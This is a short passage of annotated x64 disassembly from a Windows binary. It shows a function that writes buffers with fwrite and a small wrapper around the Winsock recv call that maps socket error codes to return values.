jne 0x14002cb66
cmp qword [rdi + 0x718], 0
je 0x14002cbae
mov dl, 1
mov rcx, rdi
call fcn.14001d240
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.14001d240
jmp 0x14002cbe6
mov r9, qword [rdi + 0x668]
lea rcx, [0x14006c1a8]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.1400674f0
add rsp, 0x860
pop rdi
ret

Function at 0x14002cca0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x14002cce2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, Ordinal_60
mov qword [rbx], 0
cmp eax, 0x2733
mov edx, 0x51
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret